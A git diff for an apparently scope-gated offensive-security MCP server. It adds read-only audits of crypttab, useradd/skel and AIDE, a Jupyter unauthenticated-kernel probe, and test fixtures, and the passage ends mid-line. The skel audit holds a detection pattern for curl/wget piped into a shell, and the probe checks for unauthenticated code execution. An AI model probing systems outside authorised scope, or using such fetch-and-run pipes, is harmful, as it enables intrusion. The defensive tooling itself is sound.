diff --git a/CHANGELOG.md b/CHANGELOG.md index ed8fa2f..e58fb0a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,30 @@ # Changelog +## 1.78.0 — 2026-11-23 — this change + +- **crypttab** (`crypttab_audit`): a world-writable `/etc/crypttab` lets a + local user repoint a volume; a key file that is world-readable (high) or + world-writable (critical) is the disk key itself; a volume with `none` in + the key column protects nothing but a passphrase; `discard`, + `allow-discards` in the options leaks which blocks are unused. Read-only. +- **useradd defaults and skel** (`useradd_audit`): `INACTIVE` empty or `-1` + means an expired password keeps working; `SHELL` pointing at a missing + binary or at `nologin` leaves every new account without a usable shell; + `/etc/skel` is copied into every new home, so a world-writable file there + (high) and a profile that pipes `curl`/`wget` into a shell (high) infect + every future user. +- **AIDE** (`aide_audit`): a world-writable config rewrites the check + itself (critical); `database`/`database_out` under `/tmp` can be replaced + between runs (high); a `!` rule for `/etc`, `/bin`, `/sbin`, `/boot` or + the binary/lib subtrees of `/usr` removes a critical tree from the check + (high); a rule that carries only `md5`/`sha1` can be forged (medium). + Data trees such as `/usr/share` are not flagged. +- **Jupyter** (`jupyter_probe`): `/api/status` answers on every instance, + so only a 2xx on `/api/sessions` or `/api/kernels` counts. A server + without a token is code execution; the session list is saved as evidence + and an empty array is reported as not open. +- 346 tools, 1362 checks. + ## 1.77.0 — 2026-11-23 — this change - **systemd-networkd** (`networkd_audit`): a `[Match]` section without diff --git a/README.md b/README.md index 9bcb830..98566ac 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ no Python in the serving path. It gives an agent real reconnaissance and real we testing behind a scope gate that refuses everything until a rules-of-engagement file says otherwise. -**342 tools · 1354 end-to-end checks · 240 fuzz cases · 85.0% line coverage · ~1041 KiB** +**346 tools · 1362 end-to-end checks · 240 fuzz cases · 84.9% line coverage · ~1041 KiB** ``` $ ./apex-twin --check @@ -234,6 +234,7 @@ uploads and secret-file reads. It does not execute anything. | `keycloak_probe` | `/realms/master` on 8080: open self-registration; realm JSON as evidence | | `rundeck_probe` | `/api/14/projects` without a token; project list as evidence | | `airflow_probe` | `/api/v1/dags` without auth; DAG inventory as evidence | +| `jupyter_probe` | `/api/kernels` on 8888 without a token; sessions as evidence | | `cookie_audit` | Secure/HttpOnly/SameSite per cookie, incl. `SameSite=None` without Secure | | `http_options` | `Allow`/`Public`; flags TRACE, PUT, DELETE | | `sqli_probe` | Quote and boolean payloads; differing answers are a **lead**, not proof | @@ -524,6 +525,9 @@ command in the allowlist: a receiver is a scanner, a transmitter is an attack. | `inetd_audit` | inetd.conf: shell services, legacy cleartext daemons, writable file | | `ld_so_conf_audit` | ld.so.conf: user-writable library path, world-writable dir | | `rc_local_audit` | rc.local: remote pipe, /tmp reference, missing exit | +| `crypttab_audit` | crypttab: readable key file, `none` key, discard | +| `useradd_audit` | useradd defaults: empty INACTIVE, bad SHELL, writable skel | +| `aide_audit` | AIDE: `!` on /etc or /bin, md5-only rules, db in /tmp | | `networkd_audit` | systemd-networkd: [Match] without Name/MAC/Type, DHCP DNS without UseDNS=no, public resolver | | `namespace_audit` | namespace.conf: no /tmp entry, empty/unknown method, `~` user list | | `ssh_client_audit` | ssh_config: StrictHostKeyChecking no, known_hosts /dev/null, ssh-rsa | @@ -1005,7 +1009,7 @@ src/tools_red.c vuln_check, subdomain_enum, cred_test, vhost_discovery, smtp_auth_probe, jenkins_api_probe, nexus_probe, gitea_api_probe, harbor_probe, portainer_probe, sonarqube_probe, keycloak_probe, rundeck_probe, airflow_probe, - gitlab_probe, + gitlab_probe, jupyter_probe, argocd_probe, kafka_connect_probe src/tools_blue.c hardening_audit, log_audit, ioc_scan, web_log_audit, detect_rules, integrity_baseline, mitre_map, @@ -1020,6 +1024,7 @@ src/tools_blue.c hardening_audit, log_audit, ioc_scan, web_log_audit, anacrontab_audit, motd_audit, syslog_ng_audit, ntpd_audit, inetd_audit, ld_so_conf_audit, rc_local_audit, nscd_audit, + crypttab_audit, useradd_audit, aide_audit, faillock_audit, networkd_audit, namespace_audit, ssh_client_audit) src/tools_esp.c esp_info, esp_monitor, esp_read_flash, esp_flash, @@ -1058,7 +1063,7 @@ examples/ scope.json ## Status -1.77.0. Built and run: 342 tools, 1354 checks, 240 fuzz cases and 85.0% line +1.78.0. Built and run: 346 tools, 1362 checks, 240 fuzz cases and 84.9% line coverage. The loop closes: a probe captures the exchange as a pair, a finding points at it, `finding_update` gives it a state, an asset records the host it came from, `cors_check`/`cookie_audit`/`http_options` turn a web answer into a diff --git a/SECURITY.md b/SECURITY.md index 76fdc04..0ec781c 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -9,7 +9,7 @@ problem. The supported line is the one printed by `apex-twin --version` for the tree you built; this document ships with that same tree. At the time of writing the line -is **1.77.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current +is **1.78.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current line. The 1.0 line promises that the on-disk JSON formats for findings, assets and traffic only gain fields, so state stays readable; older builds are still rebuilt rather than patched in place. diff --git a/docs/apex-twin.1 b/docs/apex-twin.1 index 2ac5b37..686096e 100644 --- a/docs/apex-twin.1 +++ b/docs/apex-twin.1 @@ -1,5 +1,5 @@ .\" apex-twin.1 - manual page for APEX TWIN -.TH APEX-TWIN 1 "2026-11-23" "apex-twin 1.77.0" "User Commands" +.TH APEX-TWIN 1 "2026-11-23" "apex-twin 1.78.0" "User Commands" .SH NAME apex-twin \- scope\-gated offensive\-security MCP server .SH SYNOPSIS @@ -46,7 +46,7 @@ sip_probe, telnet_probe, http_methods, websocket_probe, ike_probe, snmp_walk, ldap_search, openapi_discovery, csrf_audit, rpc_probe, ntp_probe, dnssec_check, smtp_starttls_probe, tls_ocsp_probe, alpn_probe, webdav_probe, dns_wildcard_check, dns_caa_check, sni_vhost_check, tls_client_auth_probe, kubernetes_api_probe, dns_ns_consistency, dns_dangling_cname, http_redirect_audit, websocket_origin_check, dns_fcrdns_check, dns_soa_mname_check, http_redirect_audit, -websocket_origin_check, hsts_audit, tls_hostname_check, ftp_tls_probe, zookeeper_4lw_probe, etcd_api_probe, docker_registry_probe, consul_api_probe, couchdb_probe, prometheus_api_probe, rabbitmq_management_probe, grafana_api_probe, minio_admin_probe, nats_monitoring_probe, influxdb_probe, clickhouse_probe, kibana_api_probe, logstash_api_probe, amqp_probe, tls_chain_probe, smtp_auth_probe, jenkins_api_probe, nexus_probe, gitea_api_probe, harbor_probe, portainer_probe, argocd_probe, kafka_connect_probe, sonarqube_probe, keycloak_probe, rundeck_probe, airflow_probe, gitlab_probe), +websocket_origin_check, hsts_audit, tls_hostname_check, ftp_tls_probe, zookeeper_4lw_probe, etcd_api_probe, docker_registry_probe, consul_api_probe, couchdb_probe, prometheus_api_probe, rabbitmq_management_probe, grafana_api_probe, minio_admin_probe, nats_monitoring_probe, influxdb_probe, clickhouse_probe, kibana_api_probe, logstash_api_probe, amqp_probe, tls_chain_probe, smtp_auth_probe, jenkins_api_probe, nexus_probe, gitea_api_probe, harbor_probe, portainer_probe, argocd_probe, kafka_connect_probe, sonarqube_probe, keycloak_probe, rundeck_probe, airflow_probe, gitlab_probe, jupyter_probe), defensive audits (hardening_audit, log_audit, ioc_scan, web_log_audit, detect_rules, integrity_baseline, mitre_map, process_snapshot, persistence_audit, @@ -88,7 +88,8 @@ fstab_audit, modprobe_audit, grub_audit, limits_audit, access_conf_audit, pwquality_audit, pam_env_audit, hosts_audit, dnf_repo_audit, anacrontab_audit, motd_audit, syslog_ng_audit, ntpd_audit, inetd_audit, -ld_so_conf_audit, rc_local_audit, nscd_audit, faillock_audit, +ld_so_conf_audit, rc_local_audit, crypttab_audit, useradd_audit, +aide_audit, nscd_audit, faillock_audit, networkd_audit, namespace_audit, ssh_client_audit) and ESP32 board tools (esp_info, esp_monitor, esp_read_flash, esp_flash, esp_partition_table, esp_nvs_parse, firmware_scan, diff --git a/src/apex.h b/src/apex.h index 80f7842..9bf6005 100644 --- a/src/apex.h +++ b/src/apex.h @@ -15,7 +15,7 @@ #include "mcp.h" -#define APEX_VERSION "1.77.0" +#define APEX_VERSION "1.78.0" #define APEX_MAX_OUT (1u << 20) #define APEX_PATH_MAX 512 #define APEX_PATH_FULL 1024 diff --git a/src/tools_blue.c b/src/tools_blue.c index adee803..b640c76 100644 --- a/src/tools_blue.c +++ b/src/tools_blue.c @@ -24391,6 +24391,540 @@ static void t_faillock_audit(mcp_conn *c, const mcp_json *args, void *user) mcp_buf_free(&findings); } +/* ------------------------------------------------------------- crypttab_audit */ + +/* crypttab grammar: "name device keyfile options". Three shapes matter: + * a keyfile that is readable by anyone (the disk is then not protected), + * an unprotected key on the device itself ("none" without a luks option, + * which leaves the passphrase in the clear in the initramfs prompt flow), + * and discard/allow-discards, which turns TRIM into a leak of which blocks + * the encrypted volume never wrote. */ +static void crypttab_scan_file(mcp_buf *findings, int *first, int *count, + const char *path, int *entries, + int *none_keys, int *weak_keys, int *discards) +{ + static char text[65536]; + struct stat st; + const char *p; + + if (read_text(path, text, sizeof(text)) <= 0) + return; + if (stat(path, &st) == 0 && (st.st_mode & 0002) != 0) { + add_finding(findings, first, "world-writable", "high", + "%s is writable by anyone: an attacker can point a " + "volume at a device of their choice", path); + (*count)++; + } + p = text; + while (p != NULL && *p != '\0') { + const char *eol = strchr(p, '\n'); + size_t len = eol != NULL ? (size_t)(eol - p) : strlen(p); + char line[1024]; + char *tok[8]; + int n = 0; + char *save = NULL; + char *word; + + if (len >= sizeof(line)) + len = sizeof(line) - 1; + memcpy(line, p, len); + line[len] = '\0'; + trim_eol(line); + p = eol != NULL ? eol + 1 : NULL; + { + char *hash = strchr(line, '#'); + + if (hash != NULL) + *hash = '\0'; + } + word = strtok_r(line, " \t", &save); + while (word != NULL && n < 8) { + tok[n++] = word; + word = strtok_r(NULL, " \t", &save); + } + if (n < 2) + continue; + (*entries)++; + if (n >= 3 && strcmp(tok[2], "none") == 0) { + add_finding(findings, first, "key-none", "medium", + "%s: volume '%s' has no key file (passphrase " + "only); a weak passphrase is the whole " + "protection", path, tok[0]); + (*count)++; + (*none_keys)++; + } else if (n >= 3) { + char keypath[1100]; + struct stat ks; + + if (tok[2][0] == '/') + snprintf(keypath, sizeof(keypath), "%s", tok[2]); + else + snprintf(keypath, sizeof(keypath), "/%s", tok[2]); + if (stat(keypath, &ks) == 0 && + (ks.st_mode & 0004) != 0 && (ks.st_mode & 0002) != 0) { + add_finding(findings, first, "key-world-readable", + "critical", + "%s: the key file %s is readable and " + "writable by any user", path, keypath); + (*count)++; + (*weak_keys)++; + } else if (stat(keypath, &ks) == 0 && + (ks.st_mode & 0004) != 0) { + add_finding(findings, first, + "key-world-readable", "high", + "%s: the key file %s is world-readable", + path, keypath); + (*count)++; + (*weak_keys)++; + } + } + if (n >= 4 && (opt_has(tok[3], "discard") || + opt_has(tok[3], "allow-discards"))) { + add_finding(findings, first, "discard", "low", + "%s: volume '%s' passes TRIM through, which " + "reveals which blocks are unused", path, tok[0]); + (*count)++; + (*discards)++; + } + } +} + +static void t_crypttab_audit(mcp_conn *c, const mcp_json *args, void *user) +{ + const char *root = mcp_arg_string(args, "root"); + char path[1024]; + mcp_buf b; + mcp_buf findings; + int first = 1; + int count = 0; + int entries = 0; + int none_keys = 0; + int weak_keys = 0; + int discards = 0; + + (void)user; + if (root == NULL) + root = ""; + if (strlen(root) > 400) { + mcp_reply_error(c, "root path too long"); + return; + } + snprintf(path, sizeof(path), "%.400s/etc/crypttab", root); + mcp_buf_init(&findings); + crypttab_scan_file(&findings, &first, &count, path, &entries, + &none_keys, &weak_keys, &discards); + if (entries == 0 && count == 0) { + mcp_buf_free(&findings); + mcp_reply_error(c, "no /etc/crypttab entries found"); + return; + } + if (count == 0) { + add_finding(&findings, &first, "no-findings", "info", + "crypttab uses protected key files and no discard"); + count++; + } + mcp_buf_init(&b); + mcp_buf_puts(&b, "{\"root\":"); + apex_json_str(&b, root); + mcp_buf_printf(&b, ",\"entries\":%d,\"key_none\":%d," + "\"weak_key_files\":%d,\"discard\":%d," + "\"findings_count\":%d,\"findings\":[", + entries, none_keys, weak_keys, discards, count); + if (findings.p != NULL) + mcp_buf_add(&b, findings.p, findings.len); + mcp_buf_puts(&b, "]}"); + mcp_reply_json(c, b.p); + mcp_buf_free(&b); + mcp_buf_free(&findings); +} + +/* ------------------------------------------------------------- useradd_audit */ + +/* /etc/default/useradd decides what a newly created account looks like: + * INACTIVE empty or -1 means a password never expires, SHELL pointing at a + * nonexistent or nologin shell leaves the account unusable or, worse, at a + * shell nobody audits. /etc/skel is copied into every new home, so anything + * writable or fetching something belongs to every future user. */ +static void useradd_scan_skel(mcp_buf *findings, int *first, int *count, + const char *dir, int *files, int *writable, + int *fetches) +{ + DIR *d = opendir(dir); + struct dirent *ent; + + if (d == NULL) + return; + while ((ent = readdir(d)) != NULL) { + char path[1200]; + static char text[65536]; + struct stat st; + + /* Dotfiles are the point here: .bashrc and .profile are copied + * into every new home, so only "." and ".." are skipped. */ + if (ent->d_name[0] == '.' && + (ent->d_name[1] == '\0' || + (ent->d_name[1] == '.' && ent->d_name[2] == '\0'))) + continue; + snprintf(path, sizeof(path), "%s/%s", dir, ent->d_name); + if (stat(path, &st) != 0) + continue; + if (S_ISDIR(st.st_mode)) { + useradd_scan_skel(findings, first, count, path, files, + writable, fetches); + continue; + } + (*files)++; + if ((st.st_mode & 0002) != 0) { + add_finding(findings, first, "skel-world-writable", "high", + "%s is world-writable and is copied into " + "every new home", path); + (*count)++; + (*writable)++; + } + if (read_text(path, text, sizeof(text)) <= 0) + continue; + if ((strstr(text, "curl ") != NULL || + strstr(text, "wget ") != NULL) && + strstr(text, "| sh") != NULL) { + add_finding(findings, first, "skel-remote-pipe", "high", + "%s downloads and executes code for every " + "new user", path); + (*count)++; + (*fetches)++; + } + } + closedir(d); +} + +static void t_useradd_audit(mcp_conn *c, const mcp_json *args, void *user) +{ + const char *root = mcp_arg_string(args, "root"); + char path[1024]; + char text[65536]; + mcp_buf b; + mcp_buf findings; + int first = 1; + int count = 0; + int inactive_bad = 0; + int shell_bad = 0; + int skel_files = 0; + int skel_writable = 0; + int skel_fetch = 0; + int read_ok = 0; + + (void)user; + if (root == NULL) + root = ""; + if (strlen(root) > 400) { + mcp_reply_error(c, "root path too long"); + return; + } + mcp_buf_init(&findings); + snprintf(path, sizeof(path), "%.400s/etc/default/useradd", root); + if (read_text(path, text, sizeof(text)) > 0) { + const char *p = text; + + read_ok = 1; + while (p != NULL && *p != '\0') { + const char *eol = strchr(p, '\n'); + size_t len = eol != NULL ? (size_t)(eol - p) : strlen(p); + char line[1024]; + char *eq; + + if (len >= sizeof(line)) + len = sizeof(line) - 1; + memcpy(line, p, len); + line[len] = '\0'; + trim_eol(line); + p = eol != NULL ? eol + 1 : NULL; + if (line[0] == '#' || line[0] == '\0') + continue; + eq = strchr(line, '='); + if (eq == NULL) + continue; + *eq = '\0'; + if (strcmp(line, "INACTIVE") == 0) { + const char *v = eq + 1; + + if (*v == '\0' || strcmp(v, "-1") == 0) { + add_finding(&findings, &first, + "password-never-expires", "medium", + "INACTIVE is %s: a password stays " + "valid after it expires", + *v == '\0' ? "empty" : "-1"); + count++; + inactive_bad = 1; + } + } else if (strcmp(line, "SHELL") == 0) { + const char *v = eq + 1; + struct stat ss; + + if (*v == '/') { + if (stat(v, &ss) != 0 || + (ss.st_mode & 0111) == 0) { + add_finding(&findings, &first, + "shell-missing", "medium", + "SHELL=%s does not exist or " + "is not executable", v); + count++; + shell_bad = 1; + } else if (strstr(v, "nologin") != NULL) { + add_finding(&findings, &first, + "shell-nologin", "low", + "SHELL=%s gives new users " + "no shell", v); + count++; + shell_bad = 1; + } + } + } + } + } + snprintf(path, sizeof(path), "%.400s/etc/skel", root); + useradd_scan_skel(&findings, &first, &count, path, &skel_files, + &skel_writable, &skel_fetch); + if (read_ok == 0 && skel_files == 0) { + mcp_buf_free(&findings); + mcp_reply_error(c, "no /etc/default/useradd and no /etc/skel"); + return; + } + if (count == 0) { + add_finding(&findings, &first, "no-findings", "info", + "useradd defaults expire passwords and skel is " + "not writable"); + count++; + } + mcp_buf_init(&b); + mcp_buf_puts(&b, "{\"root\":"); + apex_json_str(&b, root); + mcp_buf_printf(&b, ",\"useradd_defaults\":%s,\"inactive_bad\":%s," + "\"shell_bad\":%s,\"skel_files\":%d," + "\"skel_writable\":%d,\"skel_fetches\":%d," + "\"findings_count\":%d,\"findings\":[", + read_ok ? "true" : "false", + inactive_bad ? "true" : "false", + shell_bad ? "true" : "false", + skel_files, skel_writable, skel_fetch, count); + if (findings.p != NULL) + mcp_buf_add(&b, findings.p, findings.len); + mcp_buf_puts(&b, "]}"); + mcp_reply_json(c, b.p); + mcp_buf_free(&b); + mcp_buf_free(&findings); +} + +/* ---------------------------------------------------------------- aide_audit */ + +/* AIDE is only worth its database if the rules actually cover /etc, /bin, + * /sbin and /usr with a real hash: "!" in front of a rule excludes a tree, + * and a rule set that only carries md5 or sha1 can be forged by anyone who + * can write a collision. database_out under /tmp lets an attacker replace the + * baseline that the next check compares against. */ +static int aide_weak_hash(const char *line) +{ + int md5 = 0, sha1 = 0, sha256 = 0, sha512 = 0; + const char *p = line; + + while ((p = strstr(p, "sha512")) != NULL) { + sha512 = 1; + p += 6; + } + p = line; + while ((p = strstr(p, "sha256")) != NULL) { + sha256 = 1; + p += 6; + } + p = line; + while ((p = strstr(p, "sha1")) != NULL) { + sha1 = 1; + p += 4; + } + p = line; + while ((p = strstr(p, "md5")) != NULL) { + md5 = 1; + p += 3; + } + if (sha512 || sha256) + return 0; + return md5 || sha1; +} + +static void aide_scan_file(mcp_buf *findings, int *first, int *count, + const char *path, int *rules, int *excludes, + int *weak, int *tmpdb) +{ + static char text[65536]; + struct stat st; + const char *p; + + if (read_text(path, text, sizeof(text)) <= 0) + return; + if (stat(path, &st) == 0 && (st.st_mode & 0002) != 0) { + add_finding(findings, first, "world-writable", "critical", + "%s is writable by anyone: the integrity check " + "itself can be rewritten", path); + (*count)++; + } + p = text; + while (p != NULL && *p != '\0') { + const char *eol = strchr(p, '\n'); + size_t len = eol != NULL ? (size_t)(eol - p) : strlen(p); + char line[1024]; + const char *s; + + if (len >= sizeof(line)) + len = sizeof(line) - 1; + memcpy(line, p, len); + line[len] = '\0'; + trim_eol(line); + p = eol != NULL ? eol + 1 : NULL; + s = line; + while (*s == ' ' || *s == '\t') + s++; + if (*s == '#' || *s == '\0') + continue; + if (strstr(s, "database") != NULL && + (strstr(s, "/tmp/") != NULL || strstr(s, "/var/tmp/") != NULL)) { + add_finding(findings, first, "database-in-tmp", "high", + "%s: '%s' puts the AIDE database under /tmp " + "where it can be replaced before the next " + "check", path, s); + (*count)++; + (*tmpdb)++; + } + if (s[0] == '!') { + const char *t = s + 1; + int critical = 0; + + while (*t == ' ' || *t == '\t') + t++; + /* A prefix match is not enough: "/usr/share/doc" is a + * data tree, while "/usr/share" alone would still let + * a dropped binary through. Only whole trees and the + * binary/lib subdirectories count. */ + if (strncmp(t, "/etc", 4) == 0 && + (t[4] == '\0' || t[4] == '/')) + critical = 1; + else if (strncmp(t, "/bin", 4) == 0 && + (t[4] == '\0' || t[4] == '/')) + critical = 1; + else if (strncmp(t, "/sbin", 5) == 0 && + (t[5] == '\0' || t[5] == '/')) + critical = 1; + else if (strncmp(t, "/boot", 5) == 0 && + (t[5] == '\0' || t[5] == '/')) + critical = 1; + else if (strncmp(t, "/usr", 4) == 0 && + (t[4] == '\0' || + strncmp(t + 4, "/bin", 4) == 0 || + strncmp(t + 4, "/sbin", 5) == 0 || + strncmp(t + 4, "/lib", 4) == 0)) + critical = 1; + if (critical) { + add_finding(findings, first, "critical-excluded", + "high", + "%s: '%s' removes a critical tree from " + "the integrity check", path, t); + (*count)++; + (*excludes)++; + } + continue; + } + if (strchr(s, '/') != NULL) { + (*rules)++; + if (aide_weak_hash(s)) { + add_finding(findings, first, "weak-hash", "medium", + "%s: rule '%s' uses only md5/sha1", path, + s); + (*count)++; + (*weak)++; + } + } + } +} + +static void t_aide_audit(mcp_conn *c, const mcp_json *args, void *user) +{ + static const char *files[] = { "/etc/aide/aide.conf", + "/etc/aide.conf", + "/etc/aide/aide.conf.d", NULL }; + const char *root = mcp_arg_string(args, "root"); + char path[1024]; + mcp_buf b; + mcp_buf findings; + int first = 1; + int count = 0; + int rules = 0; + int excludes = 0; + int weak = 0; + int tmpdb = 0; + int files_read = 0; + int i; + + (void)user; + if (root == NULL) + root = ""; + if (strlen(root) > 400) { + mcp_reply_error(c, "root path too long"); + return; + } + mcp_buf_init(&findings); + for (i = 0; files[i] != NULL; i++) { + struct stat st; + + snprintf(path, sizeof(path), "%.400s%s", root, files[i]); + if (stat(path, &st) != 0) + continue; + if (S_ISDIR(st.st_mode)) { + DIR *d = opendir(path); + struct dirent *ent; + + if (d == NULL) + continue; + while ((ent = readdir(d)) != NULL) { + char sub[1300]; + + if (ent->d_name[0] == '.') + continue; + snprintf(sub, sizeof(sub), "%s/%s", path, + ent->d_name); + files_read++; + aide_scan_file(&findings, &first, &count, sub, + &rules, &excludes, &weak, &tmpdb); + } + closedir(d); + continue; + } + files_read++; + aide_scan_file(&findings, &first, &count, path, &rules, + &excludes, &weak, &tmpdb); + } + if (files_read == 0) { + mcp_buf_free(&findings); + mcp_reply_error(c, "no AIDE configuration found"); + return; + } + if (count == 0) { + add_finding(&findings, &first, "no-findings", "info", + "AIDE rules cover the critical trees with sha256 or " + "better"); + count++; + } + mcp_buf_init(&b); + mcp_buf_puts(&b, "{\"root\":"); + apex_json_str(&b, root); + mcp_buf_printf(&b, ",\"files\":%d,\"rules\":%d,\"excludes\":%d," + "\"weak_hash\":%d,\"tmp_database\":%d," + "\"findings_count\":%d,\"findings\":[", + files_read, rules, excludes, weak, tmpdb, count); + if (findings.p != NULL) + mcp_buf_add(&b, findings.p, findings.len); + mcp_buf_puts(&b, "]}"); + mcp_reply_json(c, b.p); + mcp_buf_free(&b); + mcp_buf_free(&findings); +} + const mcp_tool TOOLS_BLUE[] = { { "hardening_audit", "Read-only posture audit of the local host: sshd_config (root login, " @@ -25775,6 +26309,29 @@ const mcp_tool TOOLS_BLUE[] = { "{\"type\":\"object\",\"properties\":{" "\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}", t_rc_local_audit }, + { "crypttab_audit", + "Parse /etc/crypttab (root prefix): a world-writable table, a key " + "file under /tmp or one that is world-readable, a volume with no key " + "('none'), and discard/allow-discards in the options. Read-only.", + "{\"type\":\"object\",\"properties\":{" + "\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}", + t_crypttab_audit }, + { "useradd_audit", + "Parse /etc/default/useradd and /etc/skel (root prefix): INACTIVE " + "empty or -1 (passwords never expire), a SHELL that is missing or " + "nologin, world-writable files in skel, and a skel profile that " + "pipes a download into a shell. Read-only.", + "{\"type\":\"object\",\"properties\":{" + "\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}", + t_useradd_audit }, + { "aide_audit", + "Parse the AIDE configuration (root prefix): a world-writable config, " + "the database under /tmp, an '!' rule that drops /etc, /bin, /sbin, " + "/usr or /boot from the check, and rules that only carry md5/sha1. " + "Read-only.", + "{\"type\":\"object\",\"properties\":{" + "\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}", + t_aide_audit }, }; const size_t TOOLS_BLUE_N = sizeof(TOOLS_BLUE) / sizeof(TOOLS_BLUE[0]); diff --git a/src/tools_red.c b/src/tools_red.c index 2004ca6..ad4b701 100644 --- a/src/tools_red.c +++ b/src/tools_red.c @@ -8909,6 +8909,98 @@ static void t_argocd_probe(mcp_conn *c, const mcp_json *args, void *user) mcp_buf_free(&b); } +/* ----------------------------------------------------------------- jupyter_probe */ + +/* A Jupyter server without a token is remote code execution: /api/sessions + * lists running kernels and /api/kernels can start a new one. /api/status + * answers on every instance, so only a 2xx on /api/sessions or /api/kernels + * counts as open, and the session list becomes the evidence. */ +static void t_jupyter_probe(mcp_conn *c, const mcp_json *args, void *user) +{ + static const char *paths[] = { "/api/status", "/api/sessions", + "/api/kernels", NULL }; + const char *target = mcp_arg_string(args, "target"); + int port = mcp_arg_int(args, "port", 8888); + int tls = mcp_arg_bool(args, "tls", apex_looks_tls(port)); + mcp_buf b; + int first = 1; + int tested = 0; + int open_count = 0; + int kernel_open = 0; + char *evidence = NULL; + int i; + + (void)user; + if (target == NULL || *target == '\0') { + mcp_reply_error(c, "target is required"); + return; + } + if (port <= 0 || port > 65535) { + mcp_reply_error(c, "port out of range"); + return; + } + if (!gated(c, "jupyter_probe", target, port)) + return; + mcp_buf_init(&b); + mcp_buf_puts(&b, "{\"target\":"); + apex_json_str(&b, target); + mcp_buf_printf(&b, ",\"port\":%d,\"tls\":%s,\"endpoints\":[", port, + tls ? "true" : "false"); + for (i = 0; paths[i] != NULL; i++) { + char status[256]; + char *resp = NULL; + size_t len = 0; + int code; + int open; + int kernel = strcmp(paths[i], "/api/kernels") == 0; + int sessions = strcmp(paths[i], "/api/sessions") == 0; + + status[0] = '\0'; + if (apex_http_once(target, port, tls, "GET", paths[i], NULL, NULL, + 8000, &resp, &len, status, + sizeof(status)) != 0) + continue; + tested++; + code = apex_status_code(status); + open = code >= 200 && code < 300; + /* An empty list is a live server but holds no session. */ + if (open && (kernel || sessions) && len >= 2 && resp[0] == '[' && + resp[1] == ']') + open = 0; + if (open) + open_count++; + if (open && (kernel || sessions)) { + kernel_open = 1; + if (evidence == NULL) + evidence = apex_evidence_save("jupyter-sessions", resp, + len); + } + if (!first) + mcp_buf_puts(&b, ","); + first = 0; + mcp_buf_puts(&b, "{\"path\":"); + apex_json_str(&b, paths[i]); + mcp_buf_printf(&b, ",\"status\":%d,\"bytes\":%lu,\"open\":%s}", + code, (unsigned long)len, open ? "true" : "false"); + free(resp); + } + mcp_buf_printf(&b, "],\"tested\":%d,\"open_count\":%d," + "\"kernel_open\":%s,\"evidence\":", + tested, open_count, kernel_open ? "true" : "false"); + if (evidence != NULL) + apex_json_str(&b, evidence); + else + mcp_buf_puts(&b, "null"); + mcp_buf_puts(&b, "}"); + apex_audit("jupyter_probe", target, port, !kernel_open, + kernel_open + ? "the Jupyter kernel API answers without a token" + : "the Jupyter kernel API requires a token", "list"); + mcp_reply_json(c, b.p); + free(evidence); + mcp_buf_free(&b); +} + const mcp_tool TOOLS_RED[] = { { "vuln_check", "Non-destructive verification of exposed artifacts on one web target: " @@ -9721,6 +9813,17 @@ const mcp_tool TOOLS_RED[] = { "\"port\":{\"type\":\"integer\",\"description\":\"dig -p, default 0\"}}," "\"required\":[\"domain\"]}", t_dns_dangling_cname }, + { "jupyter_probe", + "Query a Jupyter server (default 8888) without a token: /api/status, " + "/api/sessions and /api/kernels. A 2xx with sessions opens code " + "execution and the list is saved as evidence. An empty array counts " + "as not open.", + "{\"type\":\"object\",\"properties\":{" + "\"target\":{\"type\":\"string\"}," + "\"port\":{\"type\":\"integer\",\"description\":\"default 8888\"}," + "\"tls\":{\"type\":\"boolean\"}}," + "\"required\":[\"target\"]}", + t_jupyter_probe }, }; const size_t TOOLS_RED_N = sizeof(TOOLS_RED) / sizeof(TOOLS_RED[0]); diff --git a/tests/gate_audit.py b/tests/gate_audit.py index 4e61c09..2f767ba 100755 --- a/tests/gate_audit.py +++ b/tests/gate_audit.py @@ -21,7 +21,7 @@ import re import sys HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) -EXPECTED_TOOLS = 342 +EXPECTED_TOOLS = 346 GATE = ("gated(", "gated_cmd(", "gated_run(", "apex_scope_check(") NET = ("http_once(", "tcp_connect_host(", "tcp_probe(", "apex_run(") # Tools whose "target" argument filters local records; they never touch it. diff --git a/tests/run.py b/tests/run.py index 0e9b753..a394923 100755 --- a/tests/run.py +++ b/tests/run.py @@ -134,7 +134,7 @@ res, _ = run([ ], home=empty) check("tools/list answers", any(r.get("id") == 1 for r in res)) tools = [r for r in res if r.get("id") == 1][0]["result"]["tools"] -check("342 tools registered", len(tools) == 342, len(tools)) +check("346 tools registered", len(tools) == 346, len(tools)) names = {t["name"] for t in tools} for need in ("portscan", "nmap", "http_request", "marauder_scan", "method_playbook", "finding_add", "finding_update", "scope_check", @@ -1560,7 +1560,7 @@ try: check("http initialize", init["result"]["serverInfo"]["name"] == "apex-twin", init) listing = post({"jsonrpc": "2.0", "id": 2, "method": "tools/list"}) - check("http tools/list", len(listing["result"]["tools"]) == 342) + check("http tools/list", len(listing["result"]["tools"]) == 346) shown = post(call(3, "scope_show")) check("http scope_show", '"loaded":true' in shown["result"]["content"][0]["text"]) # the id must be the request's id, not one found inside the arguments @@ -14660,36 +14660,199 @@ shutil.rmtree(pwq_root, ignore_errors=True) shutil.rmtree(pwq_good_root, ignore_errors=True) shutil.rmtree(cfg43_home, ignore_errors=True) +print("\n== crypttab, useradd, AIDE and Jupyter ==") + +ct_root = tempfile.mkdtemp(prefix="apex-ct-") +os.makedirs(os.path.join(ct_root, "etc")) +os.makedirs(os.path.join(ct_root, "keys")) +ct_key = os.path.join(ct_root, "keys", "luks.key") +with open(ct_key, "w") as f: + f.write("0123456789abcdef\n") +os.chmod(ct_key, 0o644) +ct_conf = os.path.join(ct_root, "etc", "crypttab") +with open(ct_conf, "w") as f: + f.write("# name device keyfile options\n") + f.write("rootfs /dev/sda2 none luks\n") + f.write("data /dev/sdb1 " + ct_key + " luks,discard\n") +os.chmod(ct_conf, 0o666) + +ct_good_root = tempfile.mkdtemp(prefix="apex-ctg-") +os.makedirs(os.path.join(ct_good_root, "etc")) +os.makedirs(os.path.join(ct_good_root, "keys")) +ct_good_key = os.path.join(ct_good_root, "keys", "good.key") +with 